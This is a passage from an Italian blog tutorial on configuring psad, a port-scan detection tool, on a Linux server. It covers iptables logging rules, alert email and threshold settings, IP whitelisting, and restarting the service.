Personalmente ho deciso di abilitare tali regole direttamente all’avvio del server, in modo da rendere psad subito operativo. Modifichiamo dunque il file /etc/rc.local:

nightfly@nightbox:~$ sudo nano /etc/rc.local

aggiungendo le entry:

#psad

iptables -A INPUT -j LOG
iptables -A FORWARD -j LOG

Ovviamente, dopo aver installato psad è necessario configurarlo. Per fare ciò dobbiamo aprire in scrittura il file psad.conf, presente nella directory /etc/psad:

nightfly@nightbox:~$ sudo nano /etc/psad/psad.conf

Inseriamo l’indirizzo email a cui verranno inviati gli alert generati da psad:

EMAIL_ADDRESSES             vostro.indirizzo@email.it;

impostiamo correttamente la soglia che fa scattare gli alert (ovvero il numero minimo di porte vittima del port scan):

PORT_RANGE_SCAN_THRESHOLD   3;

e successivamente facciamo in modo che vengano ignorati alcuni indirizzi IP inoffensivi. Per fare ciò occorre modificare il file /etc/psad/auto_dl, inserendo ad esempio queste direttive:

127.0.0.1       0;
193.204.114.232 0;
193.204.114.233 0;
10.0.3.0/24        0;
224.0.0.251     0;

Lo 0 indica il grado più basso di pericolosità associato all’IP, dove per pericolosità si intende un valore intero compreso nell’intervallo [0; 5].

Infine, riavviamo psad:

nightfly@nightbox:~$ sudo service psad restart

ed abbiamo finito.

Da notare che la configurazione trattata in questo post è piuttosto minimale e di tipo passivo, ovvero si limita ad individuare gli attacchi senza bloccarli. Potete però fare in modo che, appena psad riconosce un eventuale attacco, proceda automaticamente con la creazione di una regola iptables per bloccarlo (in questo caso parliamo di configurazione attiva).

A presto.